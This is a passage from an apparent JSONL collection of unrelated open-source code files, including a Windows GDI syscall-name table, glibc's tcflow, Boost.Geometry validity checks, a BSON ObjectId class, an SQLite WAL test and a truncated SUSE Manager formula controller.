0x25f\n 'NtGdiEngEraseSurface', # 0x260\n 'NtGdiEngUnlockSurface', # 0x261\n 'NtGdiEngLockSurface', # 0x262\n 'NtGdiEngBitBlt', # 0x263\n 'NtGdiEngStretchBlt', # 0x264\n 'NtGdiEngPlgBlt', # 0x265\n 'NtGdiEngMarkBandingSurface', # 0x266\n 'NtGdiEngStrokePath', # 0x267\n 'NtGdiEngFillPath', # 0x268\n 'NtGdiEngStrokeAndFillPath', # 0x269\n 'NtGdiEngPaint', # 0x26a\n 'NtGdiEngLineTo', # 0x26b\n 'NtGdiEngAlphaBlend', # 0x26c\n 'NtGdiEngGradientFill', # 0x26d\n 'NtGdiEngTransparentBlt', # 0x26e\n 'NtGdiEngTextOut', # 0x26f\n 'NtGdiEngStretchBltROP', # 0x270\n 'NtGdiXLATEOBJ_cGetPalette', # 0x271\n 'NtGdiXLATEOBJ_iXlate', # 0x272\n 'NtGdiXLATEOBJ_hGetColorTransform', # 0x273\n 'NtGdiCLIPOBJ_bEnum', # 0x274\n 'NtGdiCLIPOBJ_cEnumStart', # 0x275\n 'NtGdiCLIPOBJ_ppoGetPath', # 0x276\n 'NtGdiEngDeletePath', # 0x277\n 'NtGdiEngCreateClip', # 0x278\n 'NtGdiEngDeleteClip', # 0x279\n 'NtGdiBRUSHOBJ_ulGetBrushColor', # 0x27a\n 'NtGdiBRUSHOBJ_pvAllocRbrush', # 0x27b\n 'NtGdiBRUSHOBJ_pvGetRbrush', # 0x27c\n 'NtGdiBRUSHOBJ_hGetColorTransform', # 0x27d\n 'NtGdiXFORMOBJ_bApplyXform', # 0x27e\n 'NtGdiXFORMOBJ_iGetXform', # 0x27f\n 'NtGdiFONTOBJ_vGetInfo', # 0x280\n 'NtGdiFONTOBJ_pxoGetXform', # 0x281\n 'NtGdiFONTOBJ_cGetGlyphs', # 0x282\n 'NtGdiFONTOBJ_pifi', # 0x283\n 'NtGdiFONTOBJ_pfdg', # 0x284\n 'NtGdiFONTOBJ_pQueryGlyphAttrs', # 0x285\n 'NtGdiFONTOBJ_pvTrueTypeFontFile', # 0x286\n 'NtGdiFONTOBJ_cGetAllGlyphHandles', # 0x287\n 'NtGdiSTROBJ_bEnum', # 0x288\n 'NtGdiSTROBJ_bEnumPositionsOnly', # 0x289\n 'NtGdiSTROBJ_bGetAdvanceWidths', # 0x28a\n 'NtGdiSTROBJ_vEnumStart', # 0x28b\n 'NtGdiSTROBJ_dwGetCodePage', # 0x28c\n 'NtGdiPATHOBJ_vGetBounds', # 0x28d\n 'NtGdiPATHOBJ_bEnum', # 0x28e\n 'NtGdiPATHOBJ_vEnumStart', # 0x28f\n 'NtGdiPATHOBJ_vEnumStartClipLines', # 0x290\n 'NtGdiPATHOBJ_bEnumClipLines', # 0x291\n 'NtGdiGetDhpdev', # 0x292\n 'NtGdiEngCheckAbort', # 0x293\n 'NtGdiHT_Get8BPPFormatPalette', # 0x294\n 'NtGdiHT_Get8BPPMaskPalette', # 0x295\n 'NtGdiUpdateTransform', # 0x296\n 'NtGdiSetPUMPDOBJ', # 0x297\n 'NtGdiBRUSHOBJ_DeleteRbrush', # 0x298\n 'NtGdiUMPDEngFreeUserMem', # 0x299\n 'NtGdiDrawStream', # 0x29a\n ],\n]\n"} {"text": "\n/**\n * This file is part of the Phalcon Framework.\n *\n * (c) Phalcon Team <team@phalcon.io>\n *\n * For the full copyright and license information, please view the LICENSE.txt\n * file that was distributed with this source code.\n */\n\nnamespace Phalcon\\Validation;\n\nuse Phalcon\\Validation;\n\n/**\n * This is a base class for combined fields validators\n */\nabstract class AbstractValidatorComposite extends AbstractValidator implements ValidatorCompositeInterface\n{\n /**\n * @var array\n */\n protected validators = [] { get };\n\n /**\n * Executes the validation\n */\n public function validate(<Validation> validation, var field) -> bool\n {\n var validator;\n\n if unlikely count(this->getValidators()) === 0 {\n throw new Exception(get_class(this) . \" does not have any validator added\");\n }\n\n for validator in this->getValidators() {\n if validator->validate(validation, field) === false {\n return false;\n }\n }\n\n return true;\n }\n}\n"} {"text": "/* Copyright (C) 1991-2020 Free Software Foundation, Inc.\n This file is part of the GNU C Library.\n\n The GNU C Library is free software; you can redistribute it and/or\n modify it under the terms of the GNU Lesser General Public\n License as published by the Free Software Foundation; either\n version 2.1 of the License, or (at your option) any later version.\n\n The GNU C Library is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n Lesser General Public License for more details.\n\n You should have received a copy of the GNU Lesser General Public\n License along with the GNU C Library; if not, see\n <https://www.gnu.org/licenses/>. */\n\n#include <errno.h>\n#include <stddef.h>\n#include <termios.h>\n#include <unistd.h>\n\n#include \"bsdtty.h\"\n\n/* Suspend or restart transmission on FD. */\nint\ntcflow (int fd, int action)\n{\n switch (action)\n {\n case TCOOFF:\n return __ioctl (fd, TIOCSTOP, (void *) NULL);\n case TCOON:\n return __ioctl (fd, TIOCSTART, (void *) NULL);\n\n case TCIOFF:\n case TCION:\n {\n\t/* This just writes the START or STOP character with\n\t `write'. Is there another way to do this? */\n\tstruct termios attr;\n\tunsigned char c;\n\tif (__tcgetattr (fd, &attr) < 0)\n\t return -1;\n\tc = attr.c_cc[action == TCIOFF ? VSTOP : VSTART];\n\tif (c != _POSIX_VDISABLE && write (fd, &c, 1) < 1)\n\t return -1;\n\treturn 0;\n }\n\n default:\n __set_errno (EINVAL);\n return -1;\n }\n}\n"} {"text": "package com.intellij.advancedExpressionFolding;\n\nimport com.intellij.lang.folding.FoldingDescriptor;\nimport com.intellij.openapi.editor.Document;\nimport com.intellij.openapi.editor.FoldingGroup;\nimport com.intellij.openapi.util.TextRange;\nimport com.intellij.psi.PsiElement;\nimport org.jetbrains.annotations.NotNull;\nimport org.jetbrains.annotations.Nullable;\n\nimport java.util.ArrayList;\nimport java.util.Collections;\n\npublic class Collect extends Expression {\n private final @NotNull\n Expression qualifier;\n private final @NotNull\n TextRange collectorTextRange;\n\n public Collect(PsiElement element, TextRange textRange, @NotNull Expression qualifier,\n @NotNull TextRange collectorTextRange) {\n super(element, textRange);\n this.qualifier = qualifier;\n this.collectorTextRange = collectorTextRange;\n }\n\n @Override\n public boolean supportsFoldRegions(@NotNull Document document,\n @Nullable Expression parent) {\n int offset = AdvancedExpressionFoldingBuilder.findDot(document, textRange.getStartOffset(), -1, false);\n return textRange.getStartOffset() + offset < collectorTextRange.getStartOffset()\n && collectorTextRange.getEndOffset() < textRange.getEndOffset();\n }\n\n @Override\n public FoldingDescriptor[] buildFoldRegions(@NotNull PsiElement element, @NotNull Document document,\n @Nullable Expression parent) {\n FoldingGroup group = FoldingGroup.newGroup(Collect.class.getName());\n ArrayList<FoldingDescriptor> descriptors = new ArrayList<>();\n int offset = AdvancedExpressionFoldingBuilder.findDot(document, textRange.getStartOffset(), -1, false);\n descriptors.add(new FoldingDescriptor(element.getNode(),\n TextRange.create(textRange.getStartOffset() + offset,\n collectorTextRange.getStartOffset()), group, \".\"));\n descriptors.add(new FoldingDescriptor(element.getNode(),\n TextRange.create(collectorTextRange.getEndOffset(),\n textRange.getEndOffset()), group, \"\"));\n if (qualifier.supportsFoldRegions(document, this)) {\n Collections.addAll(descriptors, qualifier.buildFoldRegions(qualifier.getElement(), document, this));\n }\n return descriptors.toArray(FoldingDescriptor.EMPTY);\n }\n}\n"} {"text": "{% load i18n %}\n<div id=\"footer\" class=\"site-footer\">\n <div class=\"container-fluid\">\n <div class=\"row\">\n <div class=\"col-xs-12 col-sm-4 text-center\">\n <p>\n <a href=\"{{ support_href }}\"><i class=\"fa fa-question-circle\"></i> {% trans 'Support'%}</a>\n </p>\n </div>\n <div class=\"col-xs-12 col-sm-4 text-center\">\n <p>\n {{ copyright }}\n </p>\n </div>\n <div class=\"col-xs-12 col-sm-4 text-center\">\n <p>\n {{ site_title }}<br />\n {% blocktrans %}Developed by {{ powered_by }}{% endblocktrans %}\n </p>\n </div>\n </div>\n </div>\n</div>\n"} {"text": "// Boost.Geometry (aka GGL, Generic Geometry Library)\n\n// Copyright (c) 2014-2017, Oracle and/or its affiliates.\n\n// Contributed and/or modified by Menelaos Karavelas, on behalf of Oracle\n// Contributed and/or modified by Adam Wulkiewicz, on behalf of Oracle\n\n// Licensed under the Boost Software License version 1.0.\n// http://www.boost.org/users/license.html\n\n#ifndef BOOST_GEOMETRY_ALGORITHMS_DETAIL_IS_VALID_LINEAR_HPP\n#define BOOST_GEOMETRY_ALGORITHMS_DETAIL_IS_VALID_LINEAR_HPP\n\n#include <cstddef>\n\n#include <boost/range.hpp>\n\n#include <boost/geometry/core/closure.hpp>\n#include <boost/geometry/core/point_type.hpp>\n#include <boost/geometry/core/tags.hpp>\n\n#include <boost/geometry/util/condition.hpp>\n#include <boost/geometry/util/range.hpp>\n\n#include <boost/geometry/algorithms/equals.hpp>\n#include <boost/geometry/algorithms/validity_failure_type.hpp>\n#include <boost/geometry/algorithms/detail/check_iterator_range.hpp>\n#include <boost/geometry/algorithms/detail/is_valid/has_invalid_coordinate.hpp>\n#include <boost/geometry/algorithms/detail/is_valid/has_spikes.hpp>\n#include <boost/geometry/algorithms/detail/num_distinct_consecutive_points.hpp>\n\n#include <boost/geometry/algorithms/dispatch/is_valid.hpp>\n\n\nnamespace boost { namespace geometry\n{\n\n#ifndef DOXYGEN_NO_DETAIL\nnamespace detail { namespace is_valid\n{\n\n\ntemplate <typename Linestring>\nstruct is_valid_linestring\n{\n template <typename VisitPolicy>\n static inline bool apply(Linestring const& linestring,\n VisitPolicy& visitor)\n {\n if (has_invalid_coordinate<Linestring>::apply(linestring, visitor))\n {\n return false;\n }\n\n if (boost::size(linestring) < 2)\n {\n return visitor.template apply<failure_few_points>();\n }\n\n std::size_t num_distinct = detail::num_distinct_consecutive_points\n <\n Linestring,\n 3u,\n true,\n not_equal_to<typename point_type<Linestring>::type>\n >::apply(linestring);\n\n if (num_distinct < 2u)\n {\n return\n visitor.template apply<failure_wrong_topological_dimension>();\n }\n\n if (num_distinct == 2u)\n {\n return visitor.template apply<no_failure>();\n }\n return ! has_spikes<Linestring, closed>::apply(linestring, visitor);\n }\n\n template <typename VisitPolicy, typename Strategy>\n static inline bool apply(Linestring const& linestring,\n VisitPolicy& visitor,\n Strategy const&)\n {\n return apply(linestring, visitor);\n }\n};\n\n\n}} // namespace detail::is_valid\n#endif // DOXYGEN_NO_DETAIL\n\n\n\n\n#ifndef DOXYGEN_NO_DISPATCH\nnamespace dispatch\n{\n\n\n// A linestring is a curve.\n// A curve is 1-dimensional so it has to have at least two distinct\n// points.\n// A curve is simple if it does not pass through the same point twice,\n// with the possible exception of its two endpoints\n//\n// There is an option here as to whether spikes are allowed for linestrings; \n// here we pass this as an additional template parameter: allow_spikes\n// If allow_spikes is set to true, spikes are allowed, false otherwise.\n// By default, spikes are disallowed\n//\n// Reference: OGC 06-103r4 (6.1.6.1)\ntemplate <typename Linestring, bool AllowEmptyMultiGeometries>\nstruct is_valid\n <\n Linestring, linestring_tag, AllowEmptyMultiGeometries\n > : detail::is_valid::is_valid_linestring<Linestring>\n{};\n\n\n// A MultiLinestring is a MultiCurve\n// A MultiCurve is simple if all of its elements are simple and the\n// only intersections between any two elements occur at Points that\n// are on the boundaries of both elements.\n//\n// Reference: OGC 06-103r4 (6.1.8.1; Fig. 9)\ntemplate <typename MultiLinestring, bool AllowEmptyMultiGeometries>\nclass is_valid\n <\n MultiLinestring, multi_linestring_tag, AllowEmptyMultiGeometries\n >\n{\nprivate:\n template <typename VisitPolicy>\n struct per_linestring\n {\n per_linestring(VisitPolicy& policy) : m_policy(policy) {}\n\n template <typename Linestring>\n inline bool apply(Linestring const& linestring) const\n {\n return detail::is_valid::is_valid_linestring\n <\n Linestring\n >::apply(linestring, m_policy);\n }\n\n VisitPolicy& m_policy;\n };\n\npublic:\n template <typename VisitPolicy, typename Strategy>\n static inline bool apply(MultiLinestring const& multilinestring,\n VisitPolicy& visitor,\n Strategy const&)\n {\n if (BOOST_GEOMETRY_CONDITION(\n AllowEmptyMultiGeometries && boost::empty(multilinestring)))\n {\n return visitor.template apply<no_failure>();\n }\n\n return detail::check_iterator_range\n <\n per_linestring<VisitPolicy>,\n false // do not check for empty multilinestring (done above)\n >::apply(boost::begin(multilinestring),\n boost::end(multilinestring),\n per_linestring<VisitPolicy>(visitor));\n }\n};\n\n\n} // namespace dispatch\n#endif // DOXYGEN_NO_DISPATCH\n\n\n}} // namespace boost::geometry\n\n\n#endif // BOOST_GEOMETRY_ALGORITHMS_DETAIL_IS_VALID_LINEAR_HPP\n"} {"text": "package org.bson.types;\n\nimport java.io.Serializable;\nimport java.util.Date;\nimport java.util.Random;\n\n/**\n *\n */\npublic class ObjectId implements Serializable {\n /**\n *\n */\n private static final long serialVersionUID = 837806216L;\n /**\n *\n */\n private static final Random rnd = new Random();\n\n /**\n * Create a new object id.\n */\n public ObjectId() {\n this(new Date());\n }\n\n /**\n *\n * @param s\n */\n public ObjectId(String s) {\n if (!isValid(s))\n throw new IllegalArgumentException(\"invalid ObjectId [\" + s + \"]\");\n\n byte b[] = new byte[12];\n for (int i = 0; i < b.length; i++) {\n b[b.length - (i + 1)] = (byte) Integer.parseInt(s.substring(i * 2, i * 2 + 2), 16);\n }\n _inc = readInt(b, 0);\n _machine = readInt(b, 4);\n _time = readInt(b, 8);\n }\n\n /**\n *\n * @param time\n */\n public ObjectId(Date time) {\n this(time, rnd.nextInt());\n }\n\n /**\n *\n * @param time\n * @param inc\n */\n public ObjectId(Date time, int inc) {\n //TODO: get machine id somehow\n this(time, rnd.nextInt(), inc);\n }\n\n /**\n *\n * @param time\n * @param machine\n * @param inc\n */\n public ObjectId(Date time, int machine, int inc) {\n _time = _flip((int) (time.getTime() / 1000));\n _machine = machine;\n _inc = inc;\n }\n\n /**\n * Added this to simplify the serialization\n *\n * @param time\n * @param machine\n * @param inc\n */\n ObjectId(int time, int machine, int inc) {\n _time = time;\n _machine = machine;\n _inc = inc;\n }\n\n /**\n * Checks if a string could be an <code>ObjectId</code>.\n *\n * @return whether the string could be an object id\n */\n public static boolean isValid(String s) {\n if (s == null)\n return false;\n\n final int len = s.length();\n if (len != 24)\n return false;\n\n for (int i = 0; i < len; i++) {\n char c = s.charAt(i);\n if (c >= '0' && c <= '9')\n continue;\n if (c >= 'a' && c <= 'f')\n continue;\n if (c >= 'A' && c <= 'F')\n continue;\n\n return false;\n }\n\n return true;\n }\n\n /**\n *\n * @return\n */\n public int hashCode() {\n int x = _time;\n x += (_machine * 111);\n x += (_inc * 17);\n return x;\n }\n\n /**\n *\n * @param o\n * @return\n */\n public boolean equals(Object o) {\n if (this == o)\n return true;\n\n ObjectId other = massageToObjectId(o);\n if (other == null)\n return false;\n\n return\n _time == other._time &&\n _machine == other._machine &&\n _inc == other._inc;\n }\n\n /**\n *\n * @return\n */\n public String toString() {\n byte b[] = toByteArray();\n\n StringBuilder buf = new StringBuilder(24);\n\n for (int i = 0; i < b.length; i++) {\n int x = b[i] & 0xFF;\n String s = Integer.toHexString(x);\n if (s.length() == 1)\n buf.append(\"0\");\n buf.append(s);\n }\n\n return buf.toString();\n }\n\n /**\n * Turn an object into an <code>ObjectId</code>, if possible.\n * Strings will be converted into <code>ObjectId</code>s, if possible, and <code>ObjectId</code>s will\n * be cast and returned. Passing in <code>null</code> returns <code>null</code>.\n *\n * @param o the object to convert\n * @return an <code>ObjectId</code> if it can be massaged, null otherwise\n */\n public static ObjectId massageToObjectId(Object o) {\n if (o == null)\n return null;\n\n if (o instanceof ObjectId)\n return (ObjectId) o;\n\n if (o instanceof String) {\n String s = o.toString();\n if (isValid(s))\n return new ObjectId(s);\n }\n\n return null;\n }\n\n /**\n *\n * @return\n */\n public byte[] toByteArray() {\n byte b[] = new byte[12];\n putInt(_inc, b, 0);\n putInt(_machine, b, 4);\n putInt(_time, b, 8);\n reverse(b);\n return b;\n }\n\n /**\n *\n * @param b\n */\n static void reverse(byte[] b) {\n for (int i = 0; i < b.length / 2; i++) {\n byte t = b[i];\n b[i] = b[b.length - (i + 1)];\n b[b.length - (i + 1)] = t;\n }\n }\n\n /**\n *\n * @param x\n * @return\n */\n public static int _flip(int x) {\n int z = 0;\n z |= ((x << 24) & 0xFF000000);\n z |= ((x << 8) & 0x00FF0000);\n z |= ((x >> 8) & 0x0000FF00);\n z |= ((x >> 24) & 0x000000FF);\n return z;\n }\n\n /**\n *\n * @return\n */\n public int getMachine() {\n return _machine;\n }\n\n /**\n *\n * @return\n */\n public long getTime() {\n long z = _flip(_time);\n return z * 1000;\n }\n\n /**\n *\n * @return\n */\n public int getInc() {\n return _inc;\n }\n\n /**\n * Masking to only use the least significant byte of an integer\n */\n private static final int BYTE_MASK = 0x000000FF;\n\n /**\n * Read 4 bytes from the given array starting at the given index and turn them into an integer\n *\n * @param bytes the byte array to read from\n * @param startIndex the index to start att\n * @return the integer represented by the four bytes\n */\n private static final int readInt(byte[] bytes, int startIndex) {\n int b0 = BYTE_MASK & (int) bytes[0 + startIndex];\n int b1 = BYTE_MASK & (int) bytes[1 + startIndex];\n int b2 = BYTE_MASK & (int) bytes[2 + startIndex];\n int b3 = BYTE_MASK & (int) bytes[3 + startIndex];\n int val = b0 << 24 | b1 << 16 | b2 << 8 | b3;\n\n return val;\n }\n\n\n /**\n * Write the integer 'val' as a 4 byte value to the given array starting at the given index\n *\n * @param val the integer value to write\n * @param bytes the byte array to write to\n * @param startIndex the index in the array to start writing at\n */\n public static void putInt(int val, byte[] bytes, int startIndex) {\n for (int i = 0; i < 4; i++) {\n bytes[i + startIndex] = (byte) (val & BYTE_MASK);\n val = val >> 8;\n }\n }\n\n int _time;\n int _machine;\n int _inc;\n}\n"} {"text": "$headerHeight: 52.4px;\n\n.bd-main {\n height: calc(100vh - 52.4px);\n}\n\n.navbar-brand {\n font-size: 18px;\n color: #333;\n}\n\n.bd-links {\n border-right: 1px solid #ddd;\n}\n\n@media (max-width: 768px) {\n .bd-links {\n border-right: none;\n }\n}\n\n@media (min-width: 768px) {\n .bd-links {\n display: block !important;\n height: calc(100vh - 52.4px);\n overflow-y: auto;\n }\n .bd-content {\n flex: 1 1 auto;\n height: calc(100vh - 52.4px);\n overflow-y: auto;\n }\n .bd-sidebar {\n flex: 0 0 250px;\n }\n}\n\n// All levels of nav\n.bd-sidebar .nav > li > a {\n display: block;\n padding: 0.7rem 1rem;\n font-size: 14px;\n color: #007bff;\n border-bottom: 1px solid #ddd;\n background-color: #f8f9fa;\n}\n\n.bd-sidebar .nav > li > a:hover {\n color: #fff;\n text-decoration: none;\n background-color: #007bff;\n}\n\n.bd-sidebar .nav > .active > a,\n.bd-sidebar .nav > .active:hover > a {\n // font-weight: 600;\n color: #fff;\n background-color: #007bff;\n}\n"} {"text": "# 2010 August 2\n#\n# The author disclaims copyright to this source code. In place of\n# a legal notice, here is a blessing:\n#\n# May you do good and not evil.\n# May you find forgiveness for yourself and forgive others.\n# May you share freely, never taking more than you give.\n#\n#***********************************************************************\n# This file implements regression tests for SQLite library. The\n# focus of this file is testing the operation of the library in\n# \"PRAGMA journal_mode=WAL\" mode with shared-cache turned on.\n#\n\nset testdir [file dirname $argv0]\nsource $testdir/tester.tcl\n\nifcapable !wal {finish_test ; return }\n\ndb close\nset ::enable_shared_cache [sqlite3_enable_shared_cache 1]\n\nsqlite3 db test.db\nsqlite3 db2 test.db\n\ndo_test walshared-1.0 {\n execsql {\n PRAGMA cache_size = 10;\n PRAGMA journal_mode = WAL;\n CREATE TABLE t1(a PRIMARY KEY, b UNIQUE);\n INSERT INTO t1 VALUES(randomblob(100), randomblob(200));\n }\n} {wal}\n\ndo_test walshared-1.1 {\n execsql {\n BEGIN;\n INSERT INTO t1 VALUES(randomblob(100), randomblob(200));\n INSERT INTO t1 SELECT randomblob(100), randomblob(200) FROM t1;\n INSERT INTO t1 SELECT randomblob(100), randomblob(200) FROM t1;\n INSERT INTO t1 SELECT randomblob(100), randomblob(200) FROM t1;\n }\n} {}\n\ndo_test walshared-1.2 {\n catchsql { PRAGMA wal_checkpoint }\n} {1 {database table is locked}}\n\ndo_test walshared-1.3 {\n catchsql { PRAGMA wal_checkpoint } db2\n} {1 {database table is locked}}\n\ndo_test walshared-1.4 {\n execsql { COMMIT }\n execsql { PRAGMA integrity_check } db2\n} {ok}\n\n\n\nsqlite3_enable_shared_cache $::enable_shared_cache\nfinish_test\n"} {"text": "/**\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations\n * under the License.\n */\n\npackage org.apache.heron.packing.builder;\n\nimport java.util.HashSet;\n\nimport com.google.common.base.Optional;\n\nimport org.apache.heron.spi.packing.PackingException;\nimport org.apache.heron.spi.packing.PackingPlan;\nimport org.apache.heron.spi.packing.Resource;\n\n/**\n * Class that describes a container used to place Heron Instances with specific memory, CPU and disk\n * requirements. Each container has limited RAM, CpuCores and disk resources.\n */\npublic class Container {\n\n private int containerId;\n private HashSet<PackingPlan.InstancePlan> instances;\n private Resource capacity;\n private Resource padding;\n\n /**\n * Creates a container with a specific capacity which will maintain a specific percentage\n * of its resources for padding.\n *\n * @param capacity the capacity of the container in terms of CPU, RAM and disk\n * @param padding the padding\n */\n Container(int containerId, Resource capacity, Resource padding) {\n this.containerId = containerId;\n this.capacity = capacity;\n this.instances = new HashSet<PackingPlan.InstancePlan>();\n this.padding = padding;\n }\n\n public int getContainerId() {\n return containerId;\n }\n\n public HashSet<PackingPlan.InstancePlan> getInstances() {\n return instances;\n }\n\n public Resource getCapacity() {\n return capacity;\n }\n\n public Resource getPadding() {\n return padding;\n }\n\n /**\n * Update the resources currently used by the container, when a new instance with specific\n * resource requirements has been assigned to the container.\n */\n void add(PackingPlan.InstancePlan instancePlan) {\n if (this.instances.contains(instancePlan)) {\n throw new PackingException(String.format(\n \"Instance %s already exists in container %s\", instancePlan, toString()));\n }\n this.instances.add(instancePlan);\n }\n\n /**\n * Remove an instance of a particular component from a container and update its\n * corresponding resources.\n *\n * @return the corresponding instance plan if the instance is removed the container.\n * Return void if an instance is not found\n */\n Optional<PackingPlan.InstancePlan> removeAnyInstanceOfComponent(String component) {\n Optional<PackingPlan.InstancePlan> instancePlan = getAnyInstanceOfComponent(component);\n if (instancePlan.isPresent()) {\n PackingPlan.InstancePlan plan = instancePlan.get();\n this.instances.remove(plan);\n return instancePlan;\n }\n return Optional.absent();\n }\n\n @Override\n public String toString() {\n return String.format(\"{containerId=%s, instances=%s, capacity=%s, padding=%s}\",\n containerId, instances, capacity, padding);\n }\n\n /**\n * Find whether any instance of a particular component is assigned to the container\n *\n * @return an optional including the InstancePlan if found\n */\n private Optional<PackingPlan.InstancePlan> getAnyInstanceOfComponent(String componentName) {\n for (PackingPlan.InstancePlan instancePlan : this.instances) {\n if (instancePlan.getComponentName().equals(componentName)) {\n return Optional.of(instancePlan);\n }\n }\n return Optional.absent();\n }\n\n /**\n * Return the instance of componentName with a matching componentIndex if it exists\n *\n * @return an optional including the InstancePlan if found\n */\n Optional<PackingPlan.InstancePlan> getInstance(String componentName, int componentIndex) {\n for (PackingPlan.InstancePlan instancePlan : this.instances) {\n if (instancePlan.getComponentName().equals(componentName)\n && instancePlan.getComponentIndex() == componentIndex) {\n return Optional.of(instancePlan);\n }\n }\n return Optional.absent();\n }\n\n /**\n * Return the instance of with a given taskId if it exists\n *\n * @return an optional including the InstancePlan if found\n */\n Optional<PackingPlan.InstancePlan> getInstance(int taskId) {\n for (PackingPlan.InstancePlan instancePlan : this.instances) {\n if (instancePlan.getTaskId() == taskId) {\n return Optional.of(instancePlan);\n }\n }\n return Optional.absent();\n }\n\n /**\n * Computes the used resources of the container by taking into account the resources\n * allocated for each instance.\n *\n * @return a Resource object that describes the used CPU, RAM and disk in the container.\n */\n public Resource getTotalUsedResources() {\n return getInstances().stream()\n .map(PackingPlan.InstancePlan::getResource)\n .reduce(Resource.EMPTY_RESOURCE, Resource::plus)\n .plus(getPadding());\n }\n}\n"} {"text": "/**\n * Copyright (c) 2015 SUSE LLC\n *\n * This software is licensed to you under the GNU General Public License,\n * version 2 (GPLv2). There is NO WARRANTY for this software, express or\n * implied, including the implied warranties of MERCHANTABILITY or FITNESS\n * FOR A PARTICULAR PURPOSE. You should have received a copy of GPLv2\n * along with this software; if not, see\n * http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt.\n *\n * Red Hat trademarks are not licensed under GPLv2. No permission is\n * granted to use or replicate Red Hat trademarks that are incorporated\n * in this software or its documentation.\n */\npackage com.suse.manager.webui.controllers;\n\nimport static com.suse.manager.webui.utils.SparkApplicationHelper.withCsrfToken;\nimport static com.suse.manager.webui.utils.SparkApplicationHelper.withUser;\nimport static spark.Spark.get;\nimport static spark.Spark.post;\n\nimport com.redhat.rhn.common.hibernate.LookupException;\nimport com.redhat.rhn.common.security.PermissionException;\nimport com.redhat.rhn.common.validator.ValidatorException;\nimport com.redhat.rhn.domain.formula.FormulaFactory;\nimport com.redhat.rhn.domain.server.ManagedServerGroup;\nimport com.redhat.rhn.domain.server.MinionServer;\nimport com.redhat.rhn.domain.server.MinionServerFactory;\nimport com.redhat.rhn.domain.server.ServerFactory;\nimport com.redhat.rhn.domain.server.ServerGroupFactory;\nimport com.redhat.rhn.domain.user.User;\nimport com.redhat.rhn.manager.formula.FormulaUtil;\n\nimport com.suse.manager.webui.services.iface.SaltApi;\nimport com.suse.manager.webui.services.iface.SystemQuery;\nimport com.suse.manager.webui.utils.gson.StateTargetType;\nimport com.suse.salt.netapi.datatypes.target.MinionList;\nimport com.suse.utils.Opt;\n\nimport com.google.gson.Gson;\nimport com.google.gson.GsonBuilder;\nimport com.google.gson.JsonElement;\nimport com.google.gson.JsonPrimitive;\nimport com.google.gson.JsonSerializationContext;\nimport com.google.gson.JsonSerializer;\n\nimport org.apache.http.HttpStatus;\n\nimport java.io.IOException;\nimport java.lang.reflect.Type;\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.Date;\nimport java.util.HashMap;\nimport java.util.LinkedList;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Optional;\nimport java.util.stream.Collectors;\n\nimport spark.ModelAndView;\nimport spark.Request;\nimport spark.Response;\nimport spark.template.jade.JadeTemplateEngine;\n\n/**\n * Controller class providing backend code for formulas pages and APIs.\n */\npublic class FormulaController {\n\n private static final Gson GSON = new GsonBuilder()\n .registerTypeAdapter(Date.class, new ECMAScriptDateAdapter())\n .registerTypeAdapter(Double.class, new JsonSerializer<Double>() {\n @Override\n public JsonElement serialize(Double src, Type type,\n JsonSerializationContext context) {\n if (src % 1 == 0) {\n return new JsonPrimitive(src.intValue());\n }\n else {\n return new JsonPrimitive(src);\n }\n }\n })\n .serializeNulls()\n .create();\n\n private final SystemQuery systemQuery;\n private final SaltApi saltApi;\n\n /**\n * @param systemQueryIn instance to use.\n * @param saltApiIn Salt API instance to use.\n */\n public FormulaController(SystemQuery systemQueryIn, SaltApi saltApiIn) {\n this.systemQuery = systemQueryIn;\n this.saltApi = saltApiIn;\n }\n\n /**\n * Invoked from Router. Initialize routes for Systems Views.\n *\n * @param jade the Jade engine to use to render the pages\n */\n public void initRoutes(JadeTemplateEngine jade) {\n get(\"/manager/groups/details/formulas\",\n withCsrfToken(withUser(this::serverGroupFormulas)),\n jade);\n get(\"/manager/systems/details/formulas\",\n withCsrfToken(withUser(this::minionFormulas)),\n jade);\n get(\"/manager/groups/details/formula/:formula_id\",\n withCsrfToken(withUser(this::serverGroupFormula)),\n jade);\n get(\"/manager/systems/details/formula/:formula_id\",\n withCsrfToken(this::minionFormula),\n jade);\n\n // Formula API\n get(\"/manager/api/formulas/list/:targetType/:id\",\n withUser(this::listSelectedFormulas));\n get(\"/manager/api/formulas/form/:targetType/:id/:formula_id\",\n withUser(this::formulaData));\n post(\"/manager/api/formulas/select\",\n withUser(this::saveSelectedFormulas));\n post(\"/manager/api/formulas/save\",\n withUser(this::saveFormula));\n }\n\n /**\n * Handler for the server group formula page.\n *\n * @param request the request object\n * @param response the response object\n * @param user the current user\n * @return the ModelAndView object to render the page\n */\n public ModelAndView serverGroupFormula(Request request, Response response,\n User user) {\n String serverGroupId = request.queryParams(\"sgid\");\n Map<String, Object> data = new HashMap<>();\n data.put(\"groupId\", serverGroupId);\n data.put(\"groupName\",\n ServerGroupFactory.lookupByIdAndOrg(Long.valueOf(serverGroupId),\n user.getOrg()).getName());\n data.put(\"formula_id\", request.params(\"formula_id\"));\n return new ModelAndView(data, \"templates/groups/formula.jade\");\n }\n\n /**\n * Return the JSON data to render a group or minion's formula edit page.\n * @param request the http request\n * @param response the http response\n * @param user the current user\n * @return the JSON data\n */\n public String formulaData(Request request, Response response, User user) {\n Long id = Long.valueOf(request.params(\"id\"));\n StateTargetType type = StateTargetType.valueOf(request.params(\"targetType\"));\n int formulaId = Integer.parseInt(request.params(\"formula_id\"));\n\n response.type(\"application/json\");\n List<String> formulas;\n switch (type) {\n case SERVER:\n try {\n FormulaUtil.ensureUserHasPermissionsOnServer(user, ServerFactory.lookupById(id));\n }\n catch (PermissionException e) {\n return deniedResponse(response);\n }\n formulas = new LinkedList<>(FormulaFactory.getCombinedFormulasByServerId(id));\n break;\n case GROUP:\n try {\n 